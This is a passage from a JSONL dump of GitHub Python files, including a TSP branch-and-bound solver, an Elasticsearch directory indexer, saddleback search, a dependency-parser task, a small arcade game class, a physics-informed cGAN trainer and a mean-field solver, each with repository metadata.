reduce_col(matrix, col):\n n = len(matrix)\n for i in range(n):\n for j in range(n):\n if matrix[i][j] < col[j]:\n col[j] = matrix[i][j]\n\n for i in range(n):\n for j in range(n):\n if matrix[i][j] != float('inf') and col[j] != float('inf'):\n matrix[i][j] -= col[j]\n\n\ndef reduce_row(matrix, row):\n n = len(matrix)\n for i in range(n):\n for j in range(n):\n if matrix[i][j] < row[i]:\n row[i] = matrix[i][j]\n\n for i in range(n):\n for j in range(n):\n if matrix[i][j] != float('inf') and row[i] != float('inf'):\n matrix[i][j] -= row[i]\n\n\nclass BnBSolverReducedMatrix(BaseSolver):\n def __init__(self, matrix=[]):\n super().__init__(matrix=matrix)\n\n def solve(self, cutoff, seed):\n super().solve(cutoff, seed)\n root = Node([], copy.deepcopy(self.matrix), 0, -1, 0)\n root.cost = cost_calculation(root.matrix)\n h = [root]\n\n while h:\n node = heapq.heappop(h)\n i = node.vertex\n if node.level == self.size - 1:\n self.sol = node.cost\n self.route = node.path\n return\n\n for j in range(self.size):\n if node.matrix[i][j] != float('inf'):\n child = Node(copy.deepcopy(node.path), copy.deepcopy(node.matrix),\n node.level + 1, i, j)\n child.cost = node.cost + \\\n node.matrix[i][j] + \\\n cost_calculation(child.matrix)\n heapq.heappush(h, child)\n\n\nif __name__ == '__main__':\n matrix = [\n [float('inf'), 20, 30, 10, 11],\n [15, float('inf'), 16, 4, 2],\n [3, 5, float('inf'), 2, 4],\n [19, 6, 18, float('inf'), 3],\n [16, 4, 7, 16, float('inf')]\n ]\n s = BnBSolver(matrix)\n s.solve(100, 0)\n","repo_name":"haojing97/CSE-6140-Final-Project","sub_path":"code/BnBSolverReducedMatrix.py","file_name":"BnBSolverReducedMatrix.py","file_ext":"py","file_size_in_byte":2812,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"12544493181","text":"# encoding: utf-8\n\"\"\"\n\n\"\"\"\n__author__ = 'Richard Smith'\n__date__ = '17 Feb 2021'\n__copyright__ = 'Copyright 2018 United Kingdom Research and Innovation'\n__license__ = 'BSD - see LICENSE file in top-level package directory'\n__contact__ = 'richard.d.smith@stfc.ac.uk'\n\n\nfrom rabbit_indexer.index_updaters.base import UpdateHandler\nfrom rabbit_indexer.utils.decorators import wait_for_file\nfrom ceda_elasticsearch_tools.index_tools import CedaDirs\n\n# Python imports\nimport os\n\n# Typing imports\nfrom rabbit_indexer.utils import PathTools\nfrom rabbit_indexer.queue_handler.queue_handler import IngestMessage\n\n\nclass DirectoryUpdateHandler(UpdateHandler):\n \"\"\"\n Handler to update the ceda-dirs directory index based on messages in the\n rabbit queue\n \"\"\"\n\n def __init__(self, conf, **kwargs):\n \"\"\"\n Add the index updater attribute\n\n :param conf: YamlConfig object\n :param kwargs: kwargs passed to setup_extra\n \"\"\"\n self.index_updater = None\n\n super().__init__(conf, **kwargs)\n\n def setup_extra(self, refresh_interval: int = 30, **kwargs):\n \"\"\"\n Extra setup for the class\n\n :param path_tools: PathTools object to provide path mapping and lookups\n :param refresh_interval: Interval in minutues before refreshing cached lookups\n :return:\n \"\"\"\n super().setup_extra(refresh_interval, **kwargs)\n\n # Initialise the Elasticsearch connection\n self.index_updater = CedaDirs(\n index=self.conf.get('directory_index', 'name'),\n **{'headers': {\n 'x-api-key': self.conf.get('elasticsearch', 'es_api_key')\n },\n 'retry_on_timeout': True,\n 'timeout': 30\n }\n )\n\n def process_event(self, message: 'IngestMessage'):\n \"\"\"\n Takes the events from rabbit and sends them to the appropriate processor\n\n :param message: rabbitMQ message\n \"\"\"\n\n self.logger.info(f'{message.filepath}:{message.action}')\n\n # Check to see if enough time has elapsed to update the mapping\n self._update_mappings()\n\n # Send the message to the appropriate processor method\n if message.action == 'MKDIR':\n self._process_creations(message)\n\n elif message.action == 'RMDIR':\n self._process_deletions(message.filepath)\n\n elif message.action == 'SYMLINK':\n self._process_symlinks(message)\n\n elif message.action == 'DEPOSIT' or message.action == 'REMOVE':\n self._process_readmes(message.filepath)\n\n def _process_creations(self, message: 'IngestMessage'):\n \"\"\"\n Process the creation of a new directory\n\n :param path: Directory path\n \"\"\"\n\n self._wait_for_file(message, wait_time=0)\n\n # Get the metadata\n metadata, _ = self.pt.generate_path_metadata(message.filepath)\n\n # Check for readmes\n if os.path.isdir(message.filepath) and metadata:\n content = self.pt.get_readme(message.filepath)\n\n if content:\n metadata['readme'] = content\n\n # Index new directory\n if metadata:\n self.index_updater.add_dirs(\n [\n {\n 'id': self.pt.generate_id(message.filepath),\n 'document': metadata\n }\n ]\n )\n else:\n self.logger.info(f\"Path does not yet exist: {message.filepath}\")\n\n def _process_deletions(self, path: str):\n \"\"\"\n Process the deletion of a directory\n\n :param path: Directory path\n \"\"\"\n\n # Delete directory\n self.index_updater.delete_dirs(\n [\n {\n \"id\": self.pt.generate_id(path)\n }\n ]\n )\n\n def _process_symlinks(self, message: 'IngestMessage'):\n \"\"\"\n Method to make it explicit what action is being\n performed but the actual code to run is the same\n as for creations.\n\n :param message: parsed message from RabbitMQ\n \"\"\"\n\n self._process_creations(message)\n\n @wait_for_file\n def _process_readmes(self, path: str):\n \"\"\"\n Process the addition of a 00README file\n\n :param path: Path to the readme\n \"\"\"\n\n # Get the directory containing the 00README\n path = os.path.dirname(path)\n\n # Get the content of the 00README\n content = self.pt.get_readme(path)\n\n if content:\n self.index_updater.update_readmes(\n [\n {\n \"id\": self.pt.generate_id(path),\n \"document\": {\"readme\": content}\n }\n ]\n )\n\n\nclass FastDirectoryUpdateHandler(DirectoryUpdateHandler):\n\n def _process_creations(self, message: 'IngestMessage'):\n\n # Get the metadata\n metadata, _ = self.pt.generate_path_metadata(message.filepath)\n\n # Index new directory\n if metadata:\n self.index_updater.add_dirs(\n [\n {\n 'id': self.pt.generate_id(message.filepath),\n 'document': metadata\n }\n ]\n )\n else:\n self.index_updater.add_dirs(\n [\n {\n 'id': self.pt.generate_id(message.filepath),\n 'document': self._generate_doc_from_message(message.filepath)\n }\n ]\n )\n\n @staticmethod\n def _generate_doc_from_message(path: str) -> dict:\n \"\"\"\n Generate directory document from path without checking file system attributes\n\n :param path: filepath\n :return: document metadata\n \"\"\"\n return {\n 'depth': path.count('/'),\n 'path': path,\n 'type': 'dir',\n 'dir': os.path.basename(path)\n }\n","repo_name":"cedadev/rabbit-dbi-indexer","sub_path":"rabbit_dbi_elastic_indexer/handlers/dbi_update_handler.py","file_name":"dbi_update_handler.py","file_ext":"py","file_size_in_byte":6042,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"25672212257","text":"# coding=utf-8\n\n\"\"\"Developer template for creating your own `local_settings.py` file.\"\"\"\n\n# pylint: disable=wildcard-import,unused-wildcard-import\n\nfrom acme.settings.base import *\n\n\n# Log level for database backends. Use DEBUG to see queries.\nLOGGING[\"loggers\"][\"django.db.backends\"][\"level\"] = \"INFO\"\n\n# Enable Grappelli Admin Interface\n# INSTALLED_APPS.insert(0, \"grappelli\")\n\n# Model Filters\nMODEL_FILTERS_VIEW_OWNER_ONLY = True\nMODEL_FILTERS_CHANGE_OWNER_ONLY = True\nMODEL_FILTERS_DELETE_OWNER_ONLY = True\nMODEL_FILTERS_ORDER_BY = None\nMODEL_FILTERS_USE_GUARDIAN = False\n\nif MODEL_FILTERS_USE_GUARDIAN:\n AUTHENTICATION_BACKENDS.append(\"guardian.backends.ObjectPermissionBackend\")\n","repo_name":"barqshasbite/django-admin-model-filters","sub_path":"acme/settings/developer.py","file_name":"developer.py","file_ext":"py","file_size_in_byte":688,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"1354241128","text":"def brute_solve(f, z):\n return [(x, y) for x in range(z+1) for y in reversed(range (z+1)) if f(x, y) == z]\n\n# Saddleback basic version based on [2]\n# [2] Edsger W. Dijkstra. ``The saddleback search''. EWD-934. 1985. http://www.cs.utexas.edu/users/EWD/index09xx.html.\n\ndef saddleback(f, z):\n (p, q) = (0, z)\n res = []\n while p <= z and q >= 0:\n z1 = f(p, q)\n if z1 < z:\n p = p + 1\n elif z1 > z:\n q = q - 1\n else:\n res.append((p, q))\n (p, q) = (p + 1, q - 1)\n return res\n\ndef bsearch(f, z, l, u):\n while u > l:\n m = (l + u) // 2\n if f(m) <= z:\n if z < f(m+1):\n return m\n l = m + 1\n else:\n u = m\n return l\n\ndef saddleback1(f, z):\n m = bsearch(lambda y: f(0, y), z, 0, z)\n n = bsearch(lambda x: f(x, 0), z, 0, z)\n res = []\n (p, q) = (0, m)\n while p <= n and q >= 0:\n z1 = f(p, q)\n if z1 < z:\n p = p + 1\n elif z1 > z:\n q = q - 1\n else:\n res.append((p, q))\n (p, q) = (p + 1, q - 1)\n return res\n\ndef solve(f, z):\n m = bsearch(lambda y: f(0, y), z, 0, z)\n n = bsearch(lambda x: f(x, 0), z, 0, z)\n res = []\n def search(a, b, c, d):\n def csearch(p, q):\n z1 = f(p, q)\n if z < z1:\n search(p, q-1, c, d)\n elif z == z1:\n search(a, b, p-1, q+1)\n res.append((p, q))\n search(p+1, q-1, c, d)\n else:\n search(a, b, p, q+1)\n search(p+1, q-1, c, d)\n def rsearch(p, q):\n z1 = f(p, q)\n if z < z1:\n search(a, b, p-1, q)\n elif z == z1:\n search(a, b, p-1, q+1)\n res.append((p, q))\n search(p+1, q-1, c, d)\n else:\n search(a, b, p-1, q+1)\n search(p+1, q, c, d)\n if a <=c and d <=b:\n if c - a < b - d:\n q = (b + d) // 2\n p = bsearch(lambda x: f(x, q), z, a, c)\n csearch(p, q)\n else:\n p = (a + c) // 2\n q = bsearch(lambda y: f(p, y), z, d, b)\n rsearch(p, q)\n search(0, m, n, 0)\n return res\n\ndef test_search(search1, search2):\n fs = [lambda x, y: x + y, lambda x, y: pow(2, x) + pow(3, y), lambda x, y: x*x + y*y]\n for z in range(100+1):\n for f in fs:\n assert search1(f, z) == search2(f, z)\n\ndef test():\n test_search(brute_solve, saddleback)\n test_search(saddleback, saddleback1)\n test_search(saddleback1, solve)\n\nif __name__ == \"__main__\":\n test()\n","repo_name":"liuxinyu95/AlgoXY","sub_path":"search/binary-search/src/saddleback.py","file_name":"saddleback.py","file_ext":"py","file_size_in_byte":2723,"program_lang":"python","lang":"en","doc_type":"code","stars":5880,"dataset":"github-code","pt":"37"} +{"seq_id":"19933180577","text":"import logging\nfrom typing import Dict, Any, Union, Iterable, Callable, List\n\nimport torch\nfrom torch.utils.data import DataLoader\n\nfrom elit.common.dataset import SamplerBuilder, PadSequenceDataLoader\nfrom elit.common.transform import VocabDict\nfrom elit.components.mtl.tasks import Task\nfrom elit.components.parsers.biaffine.biaffine_2nd_dep import BiaffineSecondaryParser, BiaffineJointDecoder, \\\n BiaffineSeparateDecoder\nfrom elit.components.parsers.conll import CoNLLSentence, CoNLLUWord\nfrom elit.layers.scalar_mix import ScalarMixWithDropoutBuilder\nfrom elit.metrics.metric import Metric\nfrom elit.metrics.mtl import MetricDict\nfrom elit.utils.time_util import CountdownTimer\nfrom elit.utils.util import merge_locals_kwargs\nfrom alnlp.modules import util\n\n\nclass BiaffineSecondaryDependencyDecoder(torch.nn.Module):\n def __init__(self, hidden_size, config) -> None:\n super().__init__()\n self.decoder = BiaffineJointDecoder(hidden_size, config) if config.joint \\\n else BiaffineSeparateDecoder(hidden_size, config)\n\n def forward(self, contextualized_embeddings: torch.FloatTensor, batch: Dict[str, torch.Tensor], mask=None):\n if mask is None:\n mask = util.lengths_to_mask(batch['token_length'])\n else:\n mask = mask.clone()\n scores = self.decoder(contextualized_embeddings, mask)\n mask[:, 0] = 0\n return scores, mask\n\n\nclass BiaffineSecondaryDependencyParsing(Task, BiaffineSecondaryParser):\n\n def __init__(self, trn: str = None, dev: str = None, tst: str = None, sampler_builder: SamplerBuilder = None,\n dependencies: str = None, scalar_mix: ScalarMixWithDropoutBuilder = None, use_raw_hidden_states=False,\n lr=2e-3, separate_optimizer=False,\n punct=False,\n tree=False,\n apply_constraint=True,\n n_mlp_arc=500,\n n_mlp_rel=100,\n mlp_dropout=.33,\n pad_rel=None,\n joint=True,\n mu=.9,\n nu=.9,\n epsilon=1e-12,\n cls_is_bos=True,\n **kwargs) -> None:\n super().__init__(**merge_locals_kwargs(locals(), kwargs))\n self.vocabs = VocabDict()\n\n def build_dataloader(self, data, transform: Callable = None, training=False, device=None,\n logger: logging.Logger = None, gradient_accumulation=1, **kwargs) -> DataLoader:\n dataset = BiaffineSecondaryParser.build_dataset(self, data, transform)\n if isinstance(data, str):\n dataset.purge_cache()\n if self.vocabs.mutable:\n BiaffineSecondaryParser.build_vocabs(self, dataset, logger, transformer=True)\n max_seq_len = self.config.get('max_seq_len', None)\n if max_seq_len and isinstance(data, str):\n dataset.prune(lambda x: len(x['token_input_ids']) > 510, logger)\n if dataset.cache:\n timer = CountdownTimer(len(dataset))\n BiaffineSecondaryDependencyParsing.cache_dataset(self, dataset, timer, training, logger)\n return PadSequenceDataLoader(\n batch_sampler=self.sampler_builder.build(self.compute_lens(data, dataset), shuffle=training,\n gradient_accumulation=gradient_accumulation),\n device=device,\n dataset=dataset,\n pad={'arc': 0, 'arc_2nd': False})\n\n def update_metrics(self, batch: Dict[str, Any],\n output: Union[torch.Tensor, Dict[str, torch.Tensor], Iterable[torch.Tensor], Any],\n prediction: Dict[str, Any], metric: Union[MetricDict, Metric]):\n\n BiaffineSecondaryParser.update_metric(self, *prediction, batch['arc'], batch['rel_id'], output[1],\n batch['punct_mask'], metric, batch)\n\n def decode_output(self, output: Union[torch.Tensor, Dict[str, torch.Tensor], Iterable[torch.Tensor], Any],\n mask: torch.BoolTensor, batch: Dict[str, Any], decoder: torch.nn.Module, **kwargs) -> Union[\n Dict[str, Any], Any]:\n return BiaffineSecondaryParser.decode(self, *output[0], output[1], batch=batch)\n\n def compute_loss(self, batch: Dict[str, Any],\n output: Union[torch.Tensor, Dict[str, torch.Tensor], Iterable[torch.Tensor], Any], criterion) -> \\\n Union[torch.FloatTensor, Dict[str, torch.FloatTensor]]:\n return BiaffineSecondaryParser.compute_loss(self, *output[0], batch['arc'], batch['rel_id'], output[1],\n criterion, batch)\n\n def build_model(self, encoder_size, training=True, **kwargs) -> torch.nn.Module:\n return BiaffineSecondaryDependencyDecoder(encoder_size, self.config)\n\n def build_metric(self, **kwargs):\n return BiaffineSecondaryParser.build_metric(self, **kwargs)\n\n def build_criterion(self, **kwargs):\n return BiaffineSecondaryParser.build_criterion(self, **kwargs)\n\n def build_optimizer(self, decoder: torch.nn.Module, **kwargs):\n config = self.config\n optimizer = torch.optim.Adam(decoder.parameters(),\n config.lr,\n (config.mu, config.nu),\n config.epsilon)\n return optimizer\n\n def input_is_flat(self, data) -> bool:\n return BiaffineSecondaryParser.input_is_flat(self, data)\n\n def prediction_to_result(self, prediction: Dict[str, Any], batch: Dict[str, Any]) -> List:\n outputs = []\n BiaffineSecondaryParser.predictions_to_human(self, prediction, outputs, batch['token'], use_pos=False)\n for sent in outputs:\n head_rel_pairs_per_sent = []\n sent: CoNLLSentence = sent\n for word in sent:\n head_rel_pairs_per_word = []\n word: CoNLLUWord = word\n head_rel_pairs_per_word.append((word.head, word.deprel))\n if word.deps:\n head_rel_pairs_per_word += word.deps\n head_rel_pairs_per_word = [(x[0] - 1, x[1]) for x in head_rel_pairs_per_word]\n head_rel_pairs_per_sent.append(head_rel_pairs_per_word)\n yield head_rel_pairs_per_sent\n","repo_name":"emorynlp/elit","sub_path":"elit/components/mtl/tasks/dep_2nd.py","file_name":"dep_2nd.py","file_ext":"py","file_size_in_byte":6314,"program_lang":"python","lang":"en","doc_type":"code","stars":35,"dataset":"github-code","pt":"37"} +{"seq_id":"35160729959","text":"import arcade\nfrom .player import Player\n\n#0.06\nTEXTURE_RIGHT = 0\nTEXTURE_LEFT = 1\nTEXTURE_TOP_LEFT = 2\nTEXTURE_TOP_RIGHT = 3\nTEXTURE_BOTTOM = 4\n\n\nclass Arara(Player):\n def __init__(self,x=0,y=0,c=arcade.key.W,b=arcade.key.S,d=arcade.key.D,e=arcade.key.A,bomb=arcade.key.SPACE,\n arquivo=\"app/img/animais/arara/arara1.png\",scale=1.09,velocidade=3,bombas=1,forca=1):\n super().__init__(arquivo=arquivo,scale=scale,velocidade=velocidade,x=x,y=y,bombas=bombas,forca=forca,c=c,b=b,d=d,e=e,bomb=bomb)\n self.tipo = \"arara\"\n #self.som = arcade.load_sound(\"sound/voo.mp3\")\n self.recarga_pulo = 0\n self.pulou = False\n self.load_images(\"app/img/animais/arara/\",1.09)\n\n def pular_parede(self,paredes,mapa,delta_time):\n TEMPO_RECARGA_PULO = 5\n\n pos_x = ((self.center_x // 32) * 32) + 16 \n pos_y = ((self.center_y // 32) * 32) + 16\n \n if self.change_x > 0 and self.change_y == 0:\n existe_parede1 = mapa.get_bloco_da_coord(pos_x + 32,pos_y)\n existe_parede2 = mapa.get_bloco_da_coord(pos_x + 64,pos_y)\n \n if existe_parede1 and not existe_parede2 and not self.pulou:\n #arcade.play_sound(self.som)\n self.center_x += 64\n self.pulou = True\n\n elif self.change_x < 0 and self.change_y == 0:\n existe_parede1 = mapa.get_bloco_da_coord(pos_x - 32,pos_y)\n existe_parede2 = mapa.get_bloco_da_coord(pos_x - 64,pos_y)\n \n if existe_parede1 and not existe_parede2 and not self.pulou: \n #arcade.play_sound(self.som)\n self.center_x -= 64\n self.pulou = True\n \n elif self.change_y > 0 and self.change_x == 0:\n existe_parede1 = mapa.get_bloco_da_coord(pos_x,pos_y + 32)\n existe_parede2 = mapa.get_bloco_da_coord(pos_x,pos_y + 64)\n \n if existe_parede1 and not existe_parede2 and not self.pulou:\n #arcade.play_sound(self.som)\n self.center_y += 64\n self.pulou = True\n \n elif self.change_y < 0 and self.change_x == 0:\n existe_parede1 = mapa.get_bloco_da_coord(pos_x,pos_y - 32)\n existe_parede2 = mapa.get_bloco_da_coord(pos_x,pos_y - 64)\n \n if existe_parede1 and not existe_parede2 and not self.pulou:\n #arcade.play_sound(self.som)\n self.center_y -= 64\n self.pulou = True\n\n if self.pulou:\n self.recarga_pulo += delta_time\n #print(self.recarga_pulo)\n if self.recarga_pulo >= TEMPO_RECARGA_PULO:\n self.pulou = False\n self.recarga_pulo = 0\n\n def load_images(self,arquivo,escala):\n #se for pra direita ele usa o sprite pro lado \n self.textures.append(arcade.load_texture(arquivo+\"arara4.png\",scale=escala))\n\n #se for pra esquerda ele usa o sprite pro lado, porém espelhados\n self.textures.append(arcade.load_texture(arquivo+\"arara4.png\",scale=escala, mirrored=True))\n\n #pra cima ele usa os sprite pra cima \n self.textures.append(arcade.load_texture(arquivo+\"arara3.png\",scale=escala))\n self.textures.append(arcade.load_texture(arquivo+\"arara3.png\",scale=escala, mirrored= True))\n self.textures.append(arcade.load_texture(arquivo+'arara2.png',scale=escala))\n\n #pra baixo ele usa o sprite padrão \n self.textures.append(arcade.load_texture(arquivo+'arara1.png',scale=escala))\n \n \n \n self.set_texture(TEXTURE_BOTTOM)\n\n self.texture_change_distance = 20\n\n ","repo_name":"vitorueno/BombAnimal","sub_path":"app/personagens/arara.py","file_name":"arara.py","file_ext":"py","file_size_in_byte":3681,"program_lang":"python","lang":"pt","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"22105960893","text":"def number_div(num):\n if num%3==0 and num%5==0:\n print(\"FizzBuzz\")\n elif num %3==0:\n print(\"Fizz\")\n elif num % 5==0 :\n print(\"buzz\")\nnumber=input(\"enter a number: \")\nif(number.isnumeric()):\n number=int(number)\nnumber_div(number)\n","repo_name":"MohammedMahmoud20/iti_summer_training_python_labs","sub_path":"second_day/lab2.py","file_name":"lab2.py","file_ext":"py","file_size_in_byte":262,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"37907410874","text":"a = list('36')\nb = list('37')\n\n# check the sign\nif a[0] == '-' and b[0] == '-':\n a.pop(0)\n b.pop(0)\n\nelif a[0] == '-':\n sign_flag = True\n a.pop(0)\n\nelif b[0] == '-':\n sign_flag = True\n b.pop(0)\n\n\n\nmin_len = min(len(a), len(b))\n\nup = a\ndown = b\n\ncarry = 0\ntotal_sum = []\n\nif min_len == len(a):\n up = b\n down = a\n\nprint(' ',up)\nprint('* ',down)\nprint('-'*20)\nz_count = 0\nall_muls = []\n\nwhile len(down) > 0 :\n\n down_pop = down.pop()\n local_mul = []\n carry = 0\n temp_up = up.copy()\n while len(temp_up) > 0 or carry > 0:\n\n try:\n up_pop = temp_up.pop()\n small_mul = int(up_pop) * int(down_pop) + carry\n except:\n small_mul = carry\n\n print(down_pop , ' * ', up_pop , ' + ', carry, ' = ' , end='')\n\n if small_mul < 10:\n print(small_mul, ' carry: ', carry,'\\n')\n carry = 0\n \n local_mul.insert(0, small_mul)\n\n else:\n small_mul = int(down_pop) * int(up_pop) + carry\n mul_mod = small_mul % 10\n carry = int((small_mul - mul_mod) / 10)\n print(mul_mod, ' carry: ', carry,'\\n')\n local_mul.insert(0, mul_mod)\n\n\n\n for _ in range(z_count):\n local_mul.append(0)\n\n all_muls.append(local_mul)\n # print(local_mul)\n z_count += 1\n print('_'*30)\n\n# print(all_muls)\n\n\nint_muls = []\nfor mul in all_muls:\n temp = ''\n for num in mul:\n temp += str(num)\n\n int_muls.append(temp)\n\nfor num in int_muls:\n print(num)\n\n\nres = 0\nfor num in int_muls:\n num = int(num)\n res = res + num\n\nprint('_'*20)\nprint(res)\n","repo_name":"YasinBoloorchi/Big-Integer-implementation","sub_path":"3 - mul.py","file_name":"3 - mul.py","file_ext":"py","file_size_in_byte":1626,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"38426228647","text":"\"\"\"\nNAME\n train_cGAN\n\nDESCRIPTION\n This module provides functions to train models inside the cGAN architecture\n using plain data, collocation points, and physical informations.\n\"\"\"\n\nimport torch\nfrom torch.optim.lr_scheduler import StepLR\nfrom utils.mlflow import start_mlflow_run, track_model, track_training_data\nimport utils.curriculum_learning as cl\nfrom utils.collocation_points import sample_coll_points\nfrom utils.model_initialization import init_recon_model, init_disc_model\nfrom evaluation.intermediate_eval import check_for_eval\nfrom loss.physical_loss import calc_physical_losses\nfrom loss.loss_weighting import get_lambda_from_share\nfrom training.warm_up import warm_up\nimport globals.constants as const\n\n\n# Adversarial loss\nadversarial_loss = torch.nn.BCELoss()\nif const.cuda:\n adversarial_loss.cuda()\n\n\ndef train_cGAN(config):\n \"\"\"\n Trains the all models inside the cGAN architecture\n using plain data and additional physical information of collocation points.\n\n Parameters:\n config: dictionary containing values for the cGAN training search space\n\n Returns:\n best measured metric of type const.eval_metric of the trained generator model on the evaluation data\n \"\"\"\n\n # ==============================\n # Initializations\n # ==============================\n\n # Models\n embedding_layers = config['embedding_layers']\n layers = config['layers']\n transformer_neurons = config['transformer_neurons']\n generator = init_recon_model(config['generator_type'], embedding_layers, layers, transformer_neurons, 'tanh')\n discriminator = init_disc_model(config['discriminator_type'], embedding_layers, layers, transformer_neurons, 'tanh')\n\n # Best evaluation metric\n best_metric = float('inf')\n\n # Adversarial ground truths\n batch_size = const.st_train.shape[0]\n valid = torch.autograd.Variable(torch.full((batch_size * const.curr_factor_total_points, const.dims_mhd_state), 1.0), requires_grad=False)\n fake = torch.autograd.Variable(torch.full((batch_size * const.curr_factor_total_points, const.dims_mhd_state), 0.0), requires_grad=False)\n\n # Optimizers\n lr = config['lr']\n adam_optim = True\n optimizer_G = torch.optim.Adam(generator.parameters(), lr)\n optimizer_D = torch.optim.Adam(discriminator.parameters(), lr)\n\n # Learning rate scheduler\n scheduler_G = StepLR(optimizer_G, step_size=100, gamma=0.98)\n scheduler_D = StepLR(optimizer_D, step_size=100, gamma=0.98)\n\n # Physical parameters\n visc_nu = config['visc_nu']\n resis_eta = config['resis_eta']\n gamma = config['gamma']\n loss_type = config['loss_type']\n lambda_decay = config['lambda_decay']\n # Error weighting for generator\n lambda_phys, _ = get_lambda_from_share(config['share_phys'])\n\n # HPO trial\n trial = config['trial']\n\n # Number of epochs\n n_epochs = config['n_epochs']\n\n # Initialize curriculum parameters\n curr_method = config['curr_method']\n curr_step = 0\n curr_max_epoch, curr_epochs_per_step, n_steps, curr_dx, curr_dy, curr_dt = \\\n cl.init_params(curr_method, config['curr_axis'], n_epochs, const.curr_steps)\n\n # Start mlflow run\n start_mlflow_run()\n\n # Track parameters\n const.mlflow.log_param(\"data_augmented\", const.data_augmented)\n for param in config:\n const.mlflow.log_param(param, config[param])\n\n # Save and track training data\n track_training_data()\n\n # ==============================\n # Training procedure\n # ==============================\n\n # ----------\n # Warm up\n # ----------\n generator = warm_up(generator, lr, config['n_warm_up_epochs'])\n\n # Start training loop\n for epoch in range(n_epochs):\n\n # Update curr_step\n last_curr_step = curr_step\n curr_step = cl.update_curr_step(epoch, curr_max_epoch, curr_step, curr_epochs_per_step)\n\n # -----------------\n # Train Generator\n # -----------------\n\n optimizer_G.zero_grad()\n\n # Sample collocation points\n st_coll = sample_coll_points(curr_method, n_steps, curr_step, curr_max_epoch, epoch, curr_dx, curr_dy, curr_dt)\n batch_size_coll = st_coll.shape[0]\n\n # Generate a batch of fake MHD states\n # Calculate physical loss\n phys_curr_step = 2\n if curr_method == 'phys': phys_curr_step = curr_step\n if curr_method == 'coeff': visc_nu, resis_eta = cl.schedule_viscosity(curr_step), cl.schedule_resistivity(curr_step)\n if curr_method == 'num_diff' and last_curr_step < curr_step: cl.schedule_numerical_diff(curr_step)\n U_coll, phys_residuals, phys_loss = calc_physical_losses(st=st_coll, model=generator, visc_nu=visc_nu, resis_eta=resis_eta, gamma=gamma, loss_type=loss_type, curr_step=phys_curr_step)\n\n # Transform residuals to correct dimensionality\n # shape: torch.size([batch_size, 1])\n phys_residuals = phys_residuals.unsqueeze(1)\n\n # Exponentially decay physical residuals\n phys_residuals = torch.exp(-lambda_decay * phys_residuals)\n\n # Adversial generator loss\n if curr_method == 'trade_off': lambda_phys = cl.get_lambda_phys(curr_step)\n validity_coll = discriminator(st_coll, U_coll, phys_residuals)\n g_loss = (adversarial_loss(validity_coll, valid[:batch_size_coll]) + lambda_phys * phys_loss) / (1 + lambda_phys)\n\n # Optimize generator\n g_loss.backward()\n\n # Clip gradients by norm\n # Gradient scaling\n torch.nn.utils.clip_grad_norm_(generator.parameters(), max_norm=2.0, norm_type=2)\n\n # Optimize generator\n def closure_G():\n return g_loss\n\n optimizer_G.step(closure_G)\n\n # --------------------------------------\n # Train physics-informed Discriminator\n # --------------------------------------\n\n optimizer_D.zero_grad()\n\n # Measure discriminator's ability to classify real MHD states\n validity_real = discriminator(const.st_train.data, const.U_train.data, torch.ones([batch_size, 1]))\n d_real_loss = adversarial_loss(validity_real, valid[:batch_size])\n\n # Measure discriminator's ability to classify fake MHD states\n validity_fake = discriminator(st_coll.detach(), U_coll.detach(), phys_residuals.detach())\n d_fake_loss = adversarial_loss(validity_fake, fake[:batch_size_coll])\n\n # Adversial discriminator loss\n d_loss = (d_real_loss + d_fake_loss) / 2\n\n # Optimize discriminator\n d_loss.backward()\n\n # Clip gradients by norm\n # Gradient scaling\n torch.nn.utils.clip_grad_norm_(discriminator.parameters(), max_norm=2.0, norm_type=2)\n\n # Optimize generator\n def closure_D():\n return d_loss\n\n optimizer_D.step(closure_D)\n\n # Intermediate or final evaluation\n metric = check_for_eval(epoch, n_epochs, generator, trial)\n if metric and metric < best_metric:\n best_metric = metric\n track_model(generator, config['generator_type'] + \"_generator\")\n track_model(discriminator, config['discriminator_type'] + \"_discriminator\")\n\n # Forward step learning rate scheduler after curriculum training\n if epoch > curr_max_epoch and adam_optim:\n scheduler_G.step()\n scheduler_D.step()\n\n # Transition to LBFGS optimizers for last epochs\n if adam_optim and epoch > (1 - const.fraction_lbfgs) * n_epochs:\n adam_optim = False\n optimizer_G = torch.optim.LBFGS(generator.parameters())\n optimizer_D = torch.optim.LBFGS(discriminator.parameters())\n\n if epoch % 50 == 0: print('[' + str(epoch) + '/' + str(n_epochs) + ']' + \" D Loss\", d_loss.item(), \"G loss: \", g_loss.item(), \"Phys Loss: \", phys_loss.item())\n\n # Stop mlflow run\n const.mlflow.end_run()\n\n return best_metric\n","repo_name":"marcus-muenzer/Neural-Network-Reconstruction-of-higher-dimensional-Plasma-Space-Time","sub_path":"src/training/train_cGAN.py","file_name":"train_cGAN.py","file_ext":"py","file_size_in_byte":7863,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"27992875193","text":"import numpy as np\r\nimport networkx as nx\r\nimport torch\r\ndef atanh(x):\r\n return 0.5*torch.log((1+x)/(1-x))\r\nclass MeanField():\r\n def __init__(self, graph,J,H,beta,mydevice):\r\n self.J=J\r\n self.H=H\r\n self.conv_crit = 1e-6\r\n self.max_iter = 2*10**3\r\n self.beta=beta\r\n self.C_model=[]\r\n self.n=J.shape[0]\r\n self.graph=graph\r\n self.device = mydevice\r\n def get_entropy_fact(self, m):\r\n return -torch.sum((1 + m) / 2 * torch.log((1 + m) / 2) +\r\n (1 - m) / 2 * torch.log((1 - m) / 2))\r\n\r\n def get_free_energy_nmf(self, m):\r\n S = self.get_entropy_fact(m) / self.n\r\n E = (-1 / 2 * m @ self.J @ m +self.H@ m)/ self.n\r\n F = E - S / self.beta\r\n return F, E, S\r\n\r\n def F_nmf(self, damping=0.3):\r\n m = torch.tanh(torch.randn([self.n], dtype=torch.float64,device=self.device))\r\n for iter_count in range(self.max_iter):\r\n m_new = (damping * m +\r\n (1 - damping) * torch.tanh(self.beta * self.J @ m+self.beta * self.H))\r\n diff = (m_new - m).norm()\r\n if diff < self.conv_crit:\r\n 